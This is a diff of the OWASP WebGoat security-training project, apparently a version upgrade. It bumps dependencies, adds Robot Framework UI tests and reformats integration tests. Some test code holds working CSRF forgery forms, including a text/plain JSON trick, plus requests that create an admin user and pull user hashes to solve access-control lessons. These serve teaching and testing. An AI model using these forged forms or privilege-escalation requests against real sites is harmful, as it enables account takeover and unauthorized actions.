+  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
+  --add-opens java.base/java.io=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  -Drunning.in.docker=false \
+  -jar /config/webgoat.jar
--- a/config/desktop/start_zap.sh
+++ b/config/desktop/start_zap.sh
@ -0,0 +1,3 @@
+#!/bin/sh
+
+/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar
--- a/docs/README.md
+++ b/docs/README.md
@ -1,4 +1,3 @@
 # WebGoat landing page

 Old GitHub page which now redirects to OWASP website.
-
--- a/docs/images/webgoat.png
+++ b/docs/images/webgoat.png
--- a/pom.xml
+++ b/pom.xml
@ -1,16 +1,16 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
-    <version>2.7.1</version>
+    <version>3.1.5</version>
  </parent>
+
  <groupId>org.owasp.webgoat</groupId>
  <artifactId>webgoat</artifactId>
-  <version>2023.3</version>
+  <version>2023.9-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>WebGoat</name>
@ -27,6 +27,7 @@
      <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
    </license>
  </licenses>
+
  <developers>
    <developer>
      <id>mayhew64</id>
@ -94,7 +95,6 @@
      <archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
    </mailingList>
  </mailingLists>
-
  <scm>
    <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
    <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@ -108,44 +108,47 @@
  </issueManagement>

  <properties>
-
    <!-- Shared properties with plugins and version numbers across submodules-->
-    <asciidoctorj.version>2.5.3</asciidoctorj.version>
-    <bootstrap.version>3.3.7</bootstrap.version>
-    <cglib.version>2.2</cglib.version>
+    <asciidoctorj.version>2.5.10</asciidoctorj.version>
+    <bootstrap.version>5.3.2</bootstrap.version>
+    <cglib.version>3.3.0</cglib.version>
    <!-- do not update necessary for lesson -->
-    <checkstyle.version>3.1.2</checkstyle.version>
+    <checkstyle.version>3.3.1</checkstyle.version>
    <commons-collections.version>3.2.1</commons-collections.version>
-    <commons-io.version>2.6</commons-io.version>
+    <commons-io.version>2.15.1</commons-io.version>
    <commons-lang3.version>3.12.0</commons-lang3.version>
-    <commons-text.version>1.9</commons-text.version>
-    <guava.version>30.1-jre</guava.version>
+    <commons-text.version>1.10.0</commons-text.version>
+    <guava.version>32.1.3-jre</guava.version>
+    <jacoco.version>0.8.11</jacoco.version>
    <java.version>17</java.version>
+    <jaxb.version>2.3.1</jaxb.version>
    <jjwt.version>0.9.1</jjwt.version>
-    <jose4j.version>0.7.6</jose4j.version>
-    <jquery.version>3.5.1</jquery.version>
-    <jsoup.version>1.14.3</jsoup.version>
+    <jose4j.version>0.9.3</jose4j.version>
+    <jquery.version>3.7.0</jquery.version>
+    <jsoup.version>1.17.2</jsoup.version>
    <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
    <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
    <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
    <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
    <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
-    <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
+    <maven-surefire-plugin.version>3.2.1</maven-surefire-plugin.version>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
    <pmd.version>3.15.0</pmd.version>
    <!-- Use UTF-8 Encoding -->
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-    <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
-    <webdriver.version>4.3.1</webdriver.version>
-    <webgoat.port>8080</webgoat.port>
-    <webwolf.port>9090</webwolf.port>
+    <thymeleaf.version>3.1.1.RELEASE</thymeleaf.version>
+    <webdriver.version>5.6.3</webdriver.version>
+    <webgoat.context>/</webgoat.context>
+    <webgoat.sslenabled>false</webgoat.sslenabled>
+    <webjars-locator-core.version>0.53</webjars-locator-core.version>
+    <webwolf.context>/</webwolf.context>
    <wiremock.version>2.27.2</wiremock.version>
    <xml-resolver.version>1.2</xml-resolver.version>
    <xstream.version>1.4.5</xstream.version>
    <!-- do not update necessary for lesson -->
-    <zxcvbn.version>1.5.2</zxcvbn.version>
+    <zxcvbn.version>1.8.0</zxcvbn.version>
  </properties>

  <dependencyManagement>
@ -154,13 +157,13 @@
      <dependency>
        <groupId>org.ow2.asm</groupId>
        <artifactId>asm</artifactId>
-        <version>9.1</version>
+        <version>9.5</version>
      </dependency>

      <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-exec</artifactId>
-        <version>1.3</version>
+        <version>1.4.0</version>
      </dependency>
      <dependency>
        <groupId>org.asciidoctor</groupId>
@ -198,6 +201,17 @@
        <artifactId>jjwt</artifactId>
        <version>${jjwt.version}</version>
      </dependency>
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>jwks-rsa</artifactId>
+        <version>0.22.1</version>
+      </dependency>
+      <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>java-jwt</artifactId>
+        <version>4.4.0</version>
+      </dependency>
      <dependency>
        <groupId>com.google.guava</groupId>
        <artifactId>guava</artifactId>
@ -228,6 +242,11 @@
        <artifactId>jquery</artifactId>
        <version>${jquery.version}</version>
      </dependency>
+      <dependency>
+        <groupId>org.webjars</groupId>
+        <artifactId>webjars-locator-core</artifactId>
+        <version>${webjars-locator-core.version}</version>
+      </dependency>
      <dependency>
        <groupId>com.github.tomakehurst</groupId>
        <artifactId>wiremock</artifactId>
@ -241,16 +260,15 @@
      <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-compress</artifactId>
-        <version>1.21</version>
+        <version>1.25.0</version>
      </dependency>
      <dependency>
        <groupId>org.jruby</groupId>
        <artifactId>jruby</artifactId>
-        <version>9.3.6.0</version>
+        <version>9.4.3.0</version>
      </dependency>
    </dependencies>
  </dependencyManagement>
-
  <dependencies>
    <dependency>
      <groupId>org.apache.commons</groupId>
@ -269,6 +287,7 @@
    <dependency>
      <groupId>javax.xml.bind</groupId>
      <artifactId>jaxb-api</artifactId>
+      <version>${jaxb.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework.boot</groupId>
@ -308,9 +327,17 @@
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-starter-oauth2-client</artifactId>
+    </dependency>
    <dependency>
      <groupId>org.thymeleaf.extras</groupId>
-      <artifactId>thymeleaf-extras-springsecurity5</artifactId>
+      <artifactId>thymeleaf-extras-springsecurity6</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.servlet</groupId>
+      <artifactId>jakarta.servlet-api</artifactId>
    </dependency>
    <dependency>
      <groupId>org.hsqldb</groupId>
@ -340,6 +367,15 @@
      <groupId>io.jsonwebtoken</groupId>
      <artifactId>jjwt</artifactId>
    </dependency>
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>jwks-rsa</artifactId>
+    </dependency>
+    <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>java-jwt</artifactId>
+    </dependency>
    <dependency>
      <groupId>com.google.guava</groupId>
      <artifactId>guava</artifactId>
@ -369,8 +405,17 @@
      <artifactId>jquery</artifactId>
    </dependency>
    <dependency>
-      <groupId>org.glassfish.jaxb</groupId>
-      <artifactId>jaxb-runtime</artifactId>
+      <groupId>org.webjars</groupId>
+      <artifactId>webjars-locator-core</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.xml.bind</groupId>
+      <artifactId>jakarta.xml.bind-api</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>com.sun.xml.bind</groupId>
+      <artifactId>jaxb-impl</artifactId>
+      <scope>runtime</scope>
    </dependency>

    <dependency>
@ -386,6 +431,7 @@
    <dependency>
      <groupId>com.github.tomakehurst</groupId>
      <artifactId>wiremock</artifactId>
+      <version>3.0.0-beta-2</version>
      <scope>test</scope>
    </dependency>
    <dependency>
@ -393,6 +439,11 @@
      <artifactId>rest-assured</artifactId>
      <scope>test</scope>
    </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-properties-migrator</artifactId>
+      <scope>runtime</scope>
+    </dependency>
  </dependencies>

  <repositories>
@ -461,10 +512,19 @@
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-failsafe-plugin</artifactId>
        <configuration>
+          <environmentVariables>
+            <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+            <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+            <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+            <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+            <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+            <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+            <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+          </environmentVariables>
          <systemPropertyVariables>
            <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
          </systemPropertyVariables>
-          <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
+          <argLine>-Xmx512m</argLine>
          <includes>org/owasp/webgoat/*Test</includes>
        </configuration>
        <executions>
@ -487,10 +547,12 @@
        <artifactId>maven-surefire-plugin</artifactId>
        <version>${maven-surefire-plugin.version}</version>
        <configuration>
+          <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
          <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
-                        --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
          <excludes>
            <exclude>**/*IntegrationTest.java</exclude>
            <exclude>src/it/java</exclude>
@ -503,7 +565,6 @@
        <artifactId>maven-checkstyle-plugin</artifactId>
        <version>${checkstyle.version}</version>
        <configuration>
-          <encoding>UTF-8</encoding>
          <consoleOutput>true</consoleOutput>
          <failsOnError>true</failsOnError>
          <configLocation>config/checkstyle/checkstyle.xml</configLocation>
@ -514,7 +575,7 @@
      <plugin>
        <groupId>com.diffplug.spotless</groupId>
        <artifactId>spotless-maven-plugin</artifactId>
-        <version>2.29.0</version>
+        <version>2.41.1</version>
        <configuration>
          <formats>
            <format>
@ -536,6 +597,11 @@
            <flexmark></flexmark>
          </markdown>
          <java>
+            <includes>
+              <include>src/main/java/**/*.java</include>
+              <include>src/test/java/**/*.java</include>
+              <include>src/it/java/**/*.java</include>
+            </includes>
            <removeUnusedImports></removeUnusedImports>
            <googleJavaFormat>
              <style>GOOGLE</style>
@ -570,7 +636,7 @@
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-enforcer-plugin</artifactId>
-        <version>3.0.0</version>
+        <version>3.3.0</version>
        <executions>
          <execution>
            <id>restrict-log4j-versions</id>
@ -627,16 +693,15 @@
                  <portNames>
                    <portName>webgoat.port</portName>
                    <portName>webwolf.port</portName>
-                    <portName>jmxPort</portName>
                  </portNames>
                </configuration>
              </execution>
            </executions>
          </plugin>
          <plugin>
-            <groupId>com.bazaarvoice.maven.plugins</groupId>
+            <groupId>org.honton.chas</groupId>
            <artifactId>process-exec-maven-plugin</artifactId>
-            <version>0.9</version>
+            <version>0.9.2</version>
            <executions>
              <execution>
                <id>start-jar</id>
@ -644,16 +709,25 @@
                  <goal>start</goal>
                </goals>
                <phase>pre-integration-test</phase>
+
                <configuration>
                  <workingDir>${project.build.directory}</workingDir>
+                  <environment>
+                    <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+                    <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+                    <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+                    <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+                    <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+                    <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+                    <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+                  </environment>
                  <arguments>
                    <argument>java</argument>
                    <argument>-jar</argument>
                    <argument>-Dlogging.pattern.console=</argument>
+                    <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
+                    <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
                    <argument>-Dspring.main.banner-mode=off</argument>
-                    <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
-                    <argument>-Dwebgoat.port=${webgoat.port}</argument>
-                    <argument>-Dwebwolf.port=${webwolf.port}</argument>
                    <argument>--add-opens</argument>
                    <argument>java.base/java.lang=ALL-UNNAMED</argument>
                    <argument>--add-opens</argument>
@ -672,10 +746,13 @@
                    <argument>java.base/java.io=ALL-UNNAMED</argument>
                    <argument>--add-opens</argument>
                    <argument>java.base/java.util=ALL-UNNAMED</argument>
+                    <argument>--add-opens</argument>
+                    <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
+                    <argument>--add-opens</argument>
+                    <argument>java.base/java.io=ALL-UNNAMED</argument>
                    <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
                  </arguments>
                  <waitForInterrupt>false</waitForInterrupt>
-                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
                </configuration>
              </execution>
              <execution>
@ -700,7 +777,6 @@
          <plugin>
            <groupId>org.owasp</groupId>
            <artifactId>dependency-check-maven</artifactId>
-            <version>6.5.1</version>
            <configuration>
              <failBuildOnCVSS>7</failBuildOnCVSS>
              <skipProvidedScope>false</skipProvidedScope>
@ -721,6 +797,81 @@
        </plugins>
      </build>
    </profile>
+    <profile>
+      <!-- run with: mvn test -Pcoverage -->
+      <id>coverage</id>
+      <activation>
+        <activeByDefault>false</activeByDefault>
+      </activation>
+      <build>
+        <plugins>
+          <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-surefire-plugin</artifactId>
+            <version>${maven-surefire-plugin.version}</version>
+            <configuration>
+              <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          ${surefire.jacoco.args}</argLine>
+              <excludes>
+                <exclude>**/*IntegrationTest.java</exclude>
+                <exclude>src/it/java</exclude>
+                <exclude>org/owasp/webgoat/*Test</exclude>
+              </excludes>
+            </configuration>
+          </plugin>
+          <plugin>
+            <groupId>org.jacoco</groupId>
+            <artifactId>jacoco-maven-plugin</artifactId>
+            <executions>
+              <execution>
+                <id>before-unit-test</id>
+                <goals>
+                  <goal>prepare-agent</goal>
+                </goals>
+                <configuration>
+                  <destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
+                  <propertyName>surefire.jacoco.args</propertyName>
+                </configuration>
+              </execution>
+              <execution>
+                <id>check</id>
+                <goals>
+                  <goal>check</goal>
+                </goals>
+                <configuration>
+                  <rules>
+                    <rule>
+                      <element>BUNDLE</element>
+                      <limits>
+                        <limit>
+                          <counter>CLASS</counter>
+                          <value>COVEREDCOUNT</value>
+                          <minimum>0.6</minimum>
+                        </limit>
+                      </limits>
+                    </rule>
+                  </rules>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                </configuration>
+              </execution>
+              <execution>
+                <id>after-unit-test</id>
+                <goals>
+                  <goal>report</goal>
+                </goals>
+                <phase>test</phase>
+                <configuration>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                  <outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
+                </configuration>
+              </execution>
+            </executions>
+          </plugin>
+        </plugins>
+      </build>
+    </profile>
  </profiles>
-
 </project>
--- a/robot/README.md
+++ b/robot/README.md
@ -12,8 +12,10 @@ Then see security settings and allow the file to run
        pip3 install virtualenv --user
        python3 -m virtualenv .venv
        source .venv/bin/activate
-        pip install robotframework
-        pip install robotframework-SeleniumLibrary
-        pip install webdriver-manager
+        pip install --upgrade robotframework
+        pip install --upgrade robotframework-SeleniumLibrary
+        pip install --upgrade webdriver-manager
+        brew upgrade
        robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot

+Make sure that the Chrome version, the webdriver version and all related components are up-to-date and compatible!
--- a/robot/goat.robot
+++ b/robot/goat.robot
@ -2,6 +2,7 @@
 Documentation  Setup WebGoat Robotframework tests
 Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
 Library  String
+Library  OperatingSystem

 Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
 Suite Teardown  Close_Page
@ -11,7 +12,7 @@ ${BROWSER}  chrome
 ${SLEEP}  100
 ${DELAY}  0.25
 ${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090
+${ENDPOINT_WOLF}  http://127.0.0.1:9090/WebWolf
 ${USERNAME}  robotuser
 ${PASSWORD}  password
 ${HEADLESS}  ${FALSE}
@ -22,22 +23,25 @@ Initial_Page
  [Arguments]  ${ENDPOINT}  ${BROWSER}
  Log To Console  Start WebGoat UI Testing
  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
+      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webgoat
  ELSE
      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
  END
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
  Switch Browser  webgoat
  Maximize Browser Window
  Set Window Size  ${1400}  ${1000}
+  Set Window Position  ${0}  ${0}
+  Set Selenium Speed  ${DELAY}
+  Log To Console  Start WebWolf UI Testing
+  IF  ${HEADLESS}
+      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webwolf
+  ELSE
+      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
+  END
  Switch Browser  webwolf
  Maximize Browser Window
  Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${400}  ${200}
+  Set Window Position  ${500}  ${0}
  Set Selenium Speed  ${DELAY}

 Close_Page
@ -53,6 +57,7 @@ Close_Page
 *** Test Cases ***

 Check_Initial_Page
+  [Tags]  WebGoatTests
  Switch Browser  webgoat
  Page Should Contain  Username
  Click Button  Sign in
@ -60,6 +65,7 @@ Check_Initial_Page
  Click Link  /WebGoat/registration

 Check_Registration_Page
+  [Tags]  WebGoatTests
  Page Should Contain  Username
  Input Text  username  ${USERNAME}
  Input Text  password  ${PASSWORD}
@ -68,6 +74,7 @@ Check_Registration_Page
  Click Button  Sign up

 Check_Welcome_Page
+  [Tags]  WebGoatTests
  Page Should Contain  WebGoat
  Go To  ${ENDPOINT}/login
  Page Should Contain  Username
@ -77,6 +84,7 @@ Check_Welcome_Page
  Page Should Contain  WebGoat

 Check_Menu_Page
+  [Tags]  WebGoatTests
  Click Element  css=a[category='Introduction']
  Click Element  Introduction-WebGoat
  CLick Element  Introduction-WebWolf
@ -93,9 +101,29 @@ Check_Menu_Page

 Check_WebWolf
  Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/WebWolf
-  Go To  ${ENDPOINT_WOLF}/mail
+  location should be  ${ENDPOINT_WOLF}/login
  Input Text  username  ${USERNAME}
  Input Text  password  ${PASSWORD}
  Click Button  Sign In
+  Go To  ${ENDPOINT_WOLF}/mail
+  Go To  ${ENDPOINT_WOLF}/requests
+  Go To  ${ENDPOINT_WOLF}/files

+Check_JWT_Page
+  Go To  ${ENDPOINT_WOLF}/jwt
+  Click Element  token
+  Wait Until Element Is Enabled  token  5s
+  Input Text     token  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
+  Click Element  secretKey
+  Input Text     secretKey  none
+  Sleep  2s  # Pause before reading the result
+  ${OUT_VALUE}   Get Value  xpath=//textarea[@id='token']
+  Log To Console  Found token ${OUT_VALUE}
+  ${OUT_RESULT}  Evaluate  "ImuPnHvLdU7ULKfbD4aJU" in """${OUT_VALUE}"""
+  Log To Console  Found token ${OUT_RESULT}
+  Capture Page Screenshot
+
+Check_Files_Page
+  Go To  ${ENDPOINT_WOLF}/files
+  Choose File  css:input[type="file"]  ${CURDIR}/goat.robot
+  Click Button  Upload files
--- a/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java
@ -1,13 +1,11 @@
 package org.owasp.webgoat;

-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.util.Map;
 import org.apache.http.HttpStatus;
 import org.junit.jupiter.api.Test;

-import java.util.Map;
-
 class AccessControlIntegrationTest extends IntegrationTest {

  @Test
@ -27,12 +25,13 @@ class AccessControlIntegrationTest extends IntegrationTest {
        .relaxedHTTPSValidation()
        .cookie("JSESSIONID", getWebGoatCookie())
        .contentType(ContentType.JSON)
-                .get(url("/WebGoat/access-control/users-admin-fix"))
+        .get(url("access-control/users-admin-fix"))
        .then()
        .statusCode(HttpStatus.SC_FORBIDDEN);

    // create user
-        var userTemplate = """
+    var userTemplate =
+        """
                {"username":"%s","password":"%s","admin": "true"}
                """;
    RestAssured.given()
@ -41,7 +40,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
        .cookie("JSESSIONID", getWebGoatCookie())
        .contentType(ContentType.JSON)
        .body(String.format(userTemplate, this.getUser(), this.getUser()))
-                .post(url("/WebGoat/access-control/users"))
+        .post(url("access-control/users"))
        .then()
        .statusCode(HttpStatus.SC_OK);

@ -52,14 +51,14 @@ class AccessControlIntegrationTest extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users-admin-fix"))
+            .get(url("access-control/users-admin-fix"))
            .then()
            .statusCode(200)
            .extract()
            .jsonPath()
            .get("find { it.username == \"Jerry\" }.userHash");

-        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+    checkAssignment(url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
  }

  private void assignment2() {
@ -69,18 +68,18 @@ class AccessControlIntegrationTest extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users"))
+            .get(url("access-control/users"))
            .then()
            .statusCode(200)
            .extract()
            .jsonPath()
            .get("find { it.username == \"Jerry\" }.userHash");

-        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
+    checkAssignment(url("access-control/user-hash"), Map.of("userHash", userHash), true);
  }

  private void assignment1() {
    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
+    checkAssignment(url("access-control/hidden-menu"), params, true);
  }
 }
--- a/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java
@ -1,8 +1,18 @@
 package org.owasp.webgoat;

+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;

 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 import lombok.Data;
 import lombok.SneakyThrows;
 import org.junit.jupiter.api.AfterEach;
@ -11,45 +21,41 @@ import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 import org.owasp.webgoat.container.lessons.Assignment;

-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 public class CSRFIntegrationTest extends IntegrationTest {

-    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
-            "</form></body></html>";
+  private static final String trickHTML3 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+          + "</form></body></html>";

-    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
-            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
-            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
-            "</form>\n" +
-            "</body></html>";
+  private static final String trickHTML4 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+          + "<input type=\"hidden\" name=\"validateReq\""
+          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+          + "</form>\n"
+          + "</body></html>";

-    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
-            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
-            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
-            "</form></body></html>";
+  private static final String trickHTML7 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+          + " method=\"POST\">\n"
+          + "<input type=\"hidden\""
+          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+          + " is the best!!' value='\"}' />\n"
+          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
+          + "</form></body></html>";

-    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
